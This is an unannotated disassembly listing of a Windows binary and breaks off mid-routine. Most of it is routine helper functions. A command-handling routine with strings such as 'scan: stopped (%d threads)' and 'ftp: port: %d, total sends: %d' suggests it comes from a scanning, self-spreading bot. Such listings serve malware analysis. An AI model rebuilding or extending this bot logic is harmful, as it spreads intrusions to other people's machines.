sub_4201C0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420230 proc near ; CODE XREF: sub_401406j arg_0 = dword ptr 4 mov eax, [ecx+4] push esi push eax call sub_4010F5 mov ecx, [eax] mov esi, [esp+8+arg_0] add esp, 4 push ecx mov ecx, esi call sub_401C4E mov eax, esi pop esi retn 4 sub_420230 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420270 proc near ; CODE XREF: sub_401398j arg_0 = dword ptr 4 mov eax, [ecx+4] push esi mov esi, [esp+4+arg_0] push eax mov ecx, esi call sub_401C4E mov eax, esi pop esi retn 4 sub_420270 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4202A0 proc near ; CODE XREF: sub_4012E4j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_401398 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401AB4 pop esi pop ecx retn 4 sub_4202A0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4202E0 proc near ; CODE XREF: sub_401A4Bj push esi mov esi, ecx call sub_401186 mov eax, esi pop esi retn sub_4202E0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420300 proc near ; CODE XREF: sub_401050j mov eax, [ecx] push eax call sub_401087 add esp, 4 retn sub_420300 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420320 proc near ; CODE XREF: sub_401771j push esi mov esi, ecx mov eax, [esi] push eax call sub_4010F5 mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_420320 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420350 proc near ; CODE XREF: sub_401285j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401C21 neg al sbb eax, eax inc eax retn 4 sub_420350 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420380 proc near ; CODE XREF: sub_4010CDj arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_401D93 mov edi, eax push edi call sub_401A32 mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_401348 push edi mov ebx, eax call sub_401A32 push edi mov [eax], ebx call sub_401A32 mov edi, [eax] push edi call sub_401A32 mov ecx, [eax] push ecx call sub_40155F mov edx, [esp+1Ch+arg_8] add esp, 10h mov [eax], edi push edx push edi call sub_40114F add esp, 4 mov ecx, esi push eax call sub_401D0C mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx mov esi, [esp+10h+arg_0] mov ecx, esi call sub_401C5D mov eax, esi pop edi pop esi pop ebx retn 0Ch sub_420380 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420420 proc near ; CODE XREF: sub_401825j arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_4010B4 mov edi, eax push edi call sub_401BD1 mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_40182A push edi mov ebx, eax call sub_401BD1 push edi mov [eax], ebx call sub_401BD1 mov edi, [eax] push edi call sub_401BD1 mov ecx, [eax] push ecx call sub_401EE2 mov edx, [esp+1Ch+arg_8] add esp, 10h mov [eax], edi push edx push edi call sub_4010DC add esp, 4 mov ecx, esi push eax call sub_40172B mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx mov esi, [esp+10h+arg_0] mov ecx, esi call sub_401D84 mov eax, esi pop edi pop esi pop ebx retn 0Ch sub_420420 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4204C0 proc near ; CODE XREF: sub_4018BBj var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_401749 test al, al jz short loc_42051A loc_4204D8: ; CODE XREF: sub_4204C0+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_401F41 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401938 lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_401749 test al, al jnz short loc_4204D8 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_42051A: ; CODE XREF: sub_4204C0+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_4204C0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420550 proc near ; CODE XREF: sub_40182Aj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 24h call sub_401CC6 mov edi, [esp+8+arg_0] mov esi, eax test edi, edi jnz short loc_420565 mov edi, esi loc_420565: ; CODE XREF: sub_420550+11j push esi call sub_401EE2 mov [eax], edi mov edi, [esp+0Ch+arg_4] add esp, 4 test edi, edi jnz short loc_42057A mov edi, esi loc_42057A: ; CODE XREF: sub_420550+26j push esi call sub_401BD1 add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 sub_420550 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4205A0 proc near ; CODE XREF: sub_401870j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_4014DD retn 4 sub_4205A0 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4205C0 proc near ; CODE XREF: sub_401EE2j arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_4205C0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4205E0 proc near ; CODE XREF: sub_4010DCj arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_4205E0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420600 proc near ; CODE XREF: sub_401910j mov eax, ecx retn sub_420600 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420620 proc near ; CODE XREF: sub_401D84j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_4014B5 mov eax, esi pop esi retn 4 sub_420620 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420650 proc near ; CODE XREF: sub_401E9Cj arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_420650 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420680 proc near ; CODE XREF: sub_401AB4j arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_401811 mov edi, eax push edi call sub_4010D2 mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_4011EA push edi mov ebx, eax call sub_4010D2 push edi mov [eax], ebx call sub_4010D2 mov edi, [eax] push edi call sub_4010D2 mov ecx, [eax] push ecx call sub_4010F5 mov edx, [esp+1Ch+arg_8] add esp, 10h mov [eax], edi push edx push edi call sub_401087 add esp, 4 mov ecx, esi push eax call sub_401389 mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx mov esi, [esp+10h+arg_0] mov ecx, esi call sub_401C4E mov eax, esi pop edi pop esi pop ebx retn 0Ch sub_420680 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420720 proc near ; CODE XREF: sub_40100Fj var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_401285 test al, al jz short loc_42077A loc_420738: ; CODE XREF: sub_420720+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_4018CF mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401A87 lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_401285 test al, al jnz short loc_420738 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_42077A: ; CODE XREF: sub_420720+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_420720 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4207B0 proc near ; CODE XREF: sub_4011EAj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 20h call sub_401F46 mov edi, [esp+8+arg_0] mov esi, eax test edi, edi jnz short loc_4207C5 mov edi, esi loc_4207C5: ; CODE XREF: sub_4207B0+11j push esi call sub_4010F5 mov [eax], edi mov edi, [esp+0Ch+arg_4] add esp, 4 test edi, edi jnz short loc_4207DA mov edi, esi loc_4207DA: ; CODE XREF: sub_4207B0+26j push esi call sub_4010D2 add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 sub_4207B0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420800 proc near ; CODE XREF: sub_402022j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_40180C retn 4 sub_420800 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420820 proc near ; CODE XREF: sub_4010F5j arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_420820 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420840 proc near ; CODE XREF: sub_401087j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_420840 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420860 proc near ; CODE XREF: sub_401186j mov eax, ecx retn sub_420860 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420880 proc near ; CODE XREF: sub_401C4Ej arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_401816 mov eax, esi pop esi retn 4 sub_420880 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4208B0 proc near ; CODE XREF: sub_401C21j arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_4208B0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4208E0 proc near ; CODE XREF: sub_401D0Cj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_401947 add esp, 8 retn 8 sub_4208E0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420910 proc near ; CODE XREF: sub_401938j var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_401F41 mov ecx, eax call sub_4010B4 mov esi, eax push esi call sub_401EE2 push esi mov ebx, eax call sub_401BD1 mov ecx, [eax] push ecx call sub_401EE2 mov edx, [ebx] push esi mov [eax], edx call sub_401BD1 push esi mov ebx, eax call sub_401EE2 mov eax, [eax] push eax call sub_401BD1 mov ecx, [ebx] push esi mov [eax], ecx call sub_4010DC add esp, 1Ch mov ecx, edi push eax call sub_4015AF push esi mov ecx, edi call sub_401870 mov eax, [edi+8] mov edx, [esp+10h+arg_4] dec eax mov [edi+8], eax mov eax, [esp+10h+arg_0] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 sub_420910 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4209D0 proc near ; CODE XREF: sub_401BD1j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_4209D0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4209F0 proc near ; CODE XREF: sub_401CC6j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401BF4 add esp, 8 retn 4 sub_4209F0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420A20 proc near ; CODE XREF: sub_4014DDj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_430332 pop ecx retn 8 sub_420A20 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420A40 proc near ; CODE XREF: sub_40172Bj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_401EBA add esp, 8 retn 8 sub_420A40 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420A70 proc near ; CODE XREF: sub_4014B5j arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_420A70 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420A90 proc near ; CODE XREF: sub_4010B4j mov eax, [ecx] retn sub_420A90 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420AB0 proc near ; CODE XREF: sub_401F41j arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_401078 mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_420AB0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420AE0 proc near ; CODE XREF: sub_401A87j var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_4018CF mov ecx, eax call sub_401811 mov esi, eax push esi call sub_4010F5 push esi mov ebx, eax call sub_4010D2 mov ecx, [eax] push ecx call sub_4010F5 mov edx, [ebx] push esi mov [eax], edx call sub_4010D2 push esi mov ebx, eax call sub_4010F5 mov eax, [eax] push eax call sub_4010D2 mov ecx, [ebx] push esi mov [eax], ecx call sub_401087 add esp, 1Ch mov ecx, edi push eax call sub_401D25 push esi mov ecx, edi call sub_402022 mov eax, [edi+8] mov edx, [esp+10h+arg_4] dec eax mov [edi+8], eax mov eax, [esp+10h+arg_0] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 sub_420AE0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420BA0 proc near ; CODE XREF: sub_4010D2j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_420BA0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420BC0 proc near ; CODE XREF: sub_401F46j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401BF4 add esp, 8 retn 4 sub_420BC0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420BF0 proc near ; CODE XREF: sub_40180Cj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_430332 pop ecx retn 8 sub_420BF0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420C10 proc near ; CODE XREF: sub_401389j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_401D98 add esp, 8 retn 8 sub_420C10 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420C40 proc near ; CODE XREF: sub_401816j arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_420C40 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420C60 proc near ; CODE XREF: sub_401811j mov eax, [ecx] retn sub_420C60 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420C80 proc near ; CODE XREF: sub_4018CFj arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_401771 mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_420C80 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420CB0 proc near ; CODE XREF: sub_4015AFj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401997 pop ecx retn 4 sub_420CB0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420CD0 proc near ; CODE XREF: sub_401D25j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401E47 pop ecx retn 4 sub_420CD0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420CF0 proc near ; CODE XREF: sub_401947j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011A4 add esp, 8 test eax, eax jz short locret_420D0B mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_420D0B: ; CODE XREF: sub_420CF0+11j retn sub_420CF0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420D20 proc near ; CODE XREF: sub_401EBAj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_420D20 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, [esp+10h+arg_0] push eax push 19h call sub_4011A4 add esp, 8 mov [esp+10h+var_10], eax test eax, eax mov [esp+10h+var_4], 0 jz short loc_420D61 mov ecx, [esp+10h+arg_4] push ecx mov ecx, eax call sub_4015EB loc_420D61: ; CODE XREF: sub_420D20+33j mov ecx, [esp+10h+var_C] mov large fs:0, ecx add esp, 10h retn sub_420D20 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_10. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420DB0 proc near ; CODE XREF: sub_401D98j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_420DB0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, [esp+10h+arg_0] push eax push 15h call sub_4011A4 add esp, 8 mov [esp+10h+var_10], eax test eax, eax mov [esp+10h+var_4], 0 jz short loc_420DF1 mov ecx, [esp+10h+arg_4] push ecx mov ecx, eax call sub_40146F loc_420DF1: ; CODE XREF: sub_420DB0+33j mov ecx, [esp+10h+var_C] mov large fs:0, ecx add esp, 10h retn sub_420DB0 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420E20 proc near ; CODE XREF: sub_401997j arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push 0 call sub_4018E3 retn sub_420E20 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420E40 proc near ; CODE XREF: sub_401E47j arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push 0 mov eax, [ecx] call dword ptr [eax] retn sub_420E40 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420E60 proc near ; CODE XREF: sub_4015EBj arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx push edi call sub_40146F mov eax, [edi+15h] pop edi mov [esi+15h], eax mov eax, esi pop esi retn 4 sub_420E60 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420E90 proc near ; CODE XREF: sub_4018E3j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_40198D test [esp+4+arg_0], 1 jz short loc_420EA8 push esi call sub_430332 add esp, 4 loc_420EA8: ; CODE XREF: sub_420E90+Dj mov eax, esi pop esi retn 4 sub_420E90 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420EC0 proc near ; CODE XREF: sub_401A00j var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_420EC0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi push 0 push 10h push 9 push 3 push 4Fh push 16h push 4 lea eax, [esp+60h+var_3C] push 1 mov esi, ecx push eax mov ds:dword_488623, offset aSym ; "sym" call sub_4018DE add esp, 24h push esi mov ecx, eax mov [esp+48h+var_4], 0 call sub_401726 lea ecx, [esi+46808h] push eax push ecx mov ecx, offset dword_43FFB0 call sub_401523 or edi, 0FFFFFFFFh lea ecx, [esp+44h+var_3C] mov [esp+44h+var_4], edi call sub_4011F9 push 0 push 14h push 12h push 1 push 14h push 13h push 4Fh push 16h push 4 lea edx, [esp+68h+var_3C] push 1 push edx call sub_4018DE add esp, 2Ch push esi mov ecx, eax mov [esp+48h+var_4], 1 call sub_401726 push eax lea eax, [esi+46836h] push eax mov ecx, offset dword_43FFB0 call sub_401523 lea ecx, [esp+44h+var_3C] mov [esp+44h+var_4], edi call sub_4011F9 push 0 push 10h push 0Fh push 14h push 13h push 4Fh push 16h push 4 lea ecx, [esp+64h+var_3C] push 1 push ecx call sub_4018DE add esp, 28h push esi mov ecx, eax mov [esp+48h+var_4], 2 call sub_401726 lea edx, [esi+46864h] push eax push edx mov ecx, offset dword_43FFB0 call sub_401523 mov [esp+44h+var_4], edi lea ecx, [esp+44h+var_3C] call sub_4011F9 push 0 push 13h push 14h push 1 push 14h push 13h push 4Fh push 16h push 4 lea eax, [esp+68h+var_3C] push 1 push eax call sub_4018DE add esp, 2Ch push esi mov ecx, eax mov [esp+48h+var_4], 3 call sub_401726 lea ecx, [esi+46892h] push eax push ecx mov ecx, offset dword_43FFB0 call sub_401523 lea ecx, [esp+44h+var_3C] mov [esp+44h+var_4], edi call sub_4011F9 push 0 push 13h push 14h push 1 push 14h push 13h push 4Fh push 10h push 14h lea edx, [esp+68h+var_3C] push 6 push edx call sub_4018DE add esp, 2Ch push esi mov ecx, eax mov [esp+48h+var_4], 4 call sub_401726 push eax lea eax, [esi+468C0h] push eax mov ecx, offset dword_43FFB0 call sub_401523 lea ecx, [esp+44h+var_3C] mov [esp+44h+var_4], edi call sub_4011F9 push 0 push 18h push 9 push 6 push 4Fh push 16h push 4 push 1 lea ecx, [esp+64h+var_24] push 4Fh push ecx call sub_4018DE add esp, 28h push esi mov ecx, eax mov [esp+48h+var_4], 5 call sub_401726 add esi, 468EEh push eax push esi mov ecx, offset dword_43FFB0 call sub_401523 mov [esp+44h+var_4], edi lea ecx, [esp+44h+var_24] call sub_4011F9 mov ecx, [esp+44h+var_C] pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn sub_420EC0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 90h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421170 proc near ; CODE XREF: sub_40133Ej var_78D = byte ptr -78Dh var_78C = dword ptr -78Ch var_788 = byte ptr -788h var_780 = dword ptr -780h var_770 = byte ptr -770h var_760 = byte ptr -760h var_6E0 = byte ptr -6E0h var_660 = dword ptr -660h var_65C = dword ptr -65Ch var_658 = dword ptr -658h var_654 = dword ptr -654h var_650 = dword ptr -650h var_644 = dword ptr -644h var_640 = dword ptr -640h var_638 = dword ptr -638h var_634 = dword ptr -634h var_630 = dword ptr -630h var_624 = byte ptr -624h var_60C = byte ptr -60Ch var_40C = byte ptr -40Ch var_20C = byte ptr -20Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_421170 push eax mov large fs:0, esp sub esp, 784h push ebx push ebp push esi mov esi, [esp+79Ch+arg_0] mov ebp, ecx push edi lea edi, [esi+7Eh] lea ecx, [ebp+46808h] call sub_401479 push eax mov ecx, edi call sub_4012B7 test eax, eax jnz loc_42123A push 3 call sub_40142E add esp, 4 test eax, eax jle short loc_42120D push 3 call sub_401C67 mov eax, ds:dword_4AFD40[eax*8] add esp, 4 push eax call ds:dword_4B3CA0 push eax push offset aScanCipS ; "scan: cip (%s)" lea ecx, [esi+2Ah] call sub_401479 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_48873B call sub_40178F add esp, 18h mov al, 1 jmp loc_42156B ; --------------------------------------------------------------------------- loc_42120D: ; CODE XREF: sub_421170+52j lea ecx, [esi+2Ah] call sub_401479 mov dl, [esi+94h] push eax mov al, [esi+93h] push offset aScanNotStarted ; "scan: not started" push edx push eax mov ecx, offset byte_48873B call sub_4010FF mov al, 1 jmp loc_42156B ; --------------------------------------------------------------------------- loc_42123A: ; CODE XREF: sub_421170+40j lea ecx, [ebp+468C0h] call sub_401479 push eax mov ecx, edi call sub_4012B7 test eax, eax jnz loc_4212E0 mov edi, ds:dword_488A36 push offset dword_43B600 lea ecx, [esp+7A4h+var_788] push 1 push ecx mov ecx, esi call sub_401622 mov ecx, eax mov [esp+7A0h+var_4], 0 call sub_401726 push eax call ds:dword_4B3AEC add esp, 4 lea ecx, [esp+7A0h+var_788] mov ebx, eax mov [esp+7A0h+var_4], 0FFFFFFFFh call sub_4011F9 cmp edi, ebx jl loc_4218F2 mov edx, ds:dword_4404E7 push edi push edx push offset aFtpPortDTotalS ; "ftp: port: %d, total sends: %d" lea ecx, [esi+2Ah] call sub_401479 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_48873B call sub_40178F add esp, 1Ch mov al, 1 jmp loc_42156B ; --------------------------------------------------------------------------- loc_4212E0: ; CODE XREF: sub_421170+DFj lea ecx, [ebp+46864h] call sub_401479 push eax mov ecx, edi call sub_4012B7 test eax, eax jnz short loc_421360 push eax push 3 call sub_401C6C add esp, 8 test eax, eax jle short loc_421335 push eax push offset aScanStoppedDTh ; "scan: stopped (%d threads)" lea ecx, [esi+2Ah] call sub_401479 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_48873B call sub_40178F add esp, 18h jmp loc_421569 ; --------------------------------------------------------------------------- loc_421335: ; CODE XREF: sub_421170+194j lea ecx, [esi+2Ah] call sub_401479 mov cl, [esi+94h] mov dl, [esi+93h] push eax push offset aScanCouldnTSto ; "scan: couldn't stop" push ecx push edx mov ecx, offset byte_48873B call sub_4010FF jmp loc_421569 ; --------------------------------------------------------------------------- loc_421360: ; CODE XREF: sub_421170+185j lea ecx, [ebp+46836h] call sub_401479 push eax mov ecx, edi call sub_4012B7 mov edi, ds:dword_4B3AEC test eax, eax jnz loc_42140E push 3 call sub_40142E add esp, 4 